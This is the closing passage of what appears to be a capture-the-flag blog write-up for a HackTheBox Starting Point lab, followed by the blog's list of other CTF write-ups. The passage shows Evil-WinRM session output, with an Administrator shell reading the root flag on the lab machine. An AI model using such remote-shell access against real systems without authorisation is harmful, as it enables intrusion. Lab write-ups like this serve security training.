                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
b91ccec3305e98240082d4474b848528

PWNED!!!

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/hackthebox_starting_point/

solarfish：as I've written

No Hack No CTF 2026 : solarfish category official writeup

#include

explore

Research

Exploit

Farewell, #include

explore

Research

research on the percollate package

research on the mdpdf package

exploit

After All

AIS3 EOF QUAL 2026（Web）

Web

Bun.PHP

CookieMonster Viewer

LinkoReco

以大方空頭來啦！

SCIST final CTF：OhYeahmAlwaRe Official-Writeup

utctf 2025 Web Writeup

Web

Number Champion

OTP

賽後解

Misc - Trapped in Plain Sight 1

Misc - Trapped in Plain Sight 2

VishwaCTF 2025 Rev Writeup

Reverse

snake

safe box

THJCC 2025 Official-Writeup

Reverse

time_GEM

Web

Headless

proxy | under_development

資訊工程學系 (資安組) 特殊選材面試題目統整

前言

國立臺灣師範大學

筆試

程式設計

系統安全

網路安全

密碼學

面試

第一間

第二間

第三間

國立清華大學

國立陽明交通大學

國立中央大學

國立臺灣大學

書審被刷 (X

THJCC 2024 Winter：proxy revenge Official-Writeup

前言

proxy revenge

Unintended Solution

AIS3 2024's Research

Description

Proof of Concept (PoC)

Mitigation

Reference

THJCC CTF Writeup

Welcome

Welcome 0x1

Discord 0x1

Web

Empty

blog

Simplify

🦊🌽

Misc

原神帳號外流

出題者大合照

PyJail-0

PyJail-1

Evil Form

Geoguesser???

I want to go to Japan

書審被刷　(X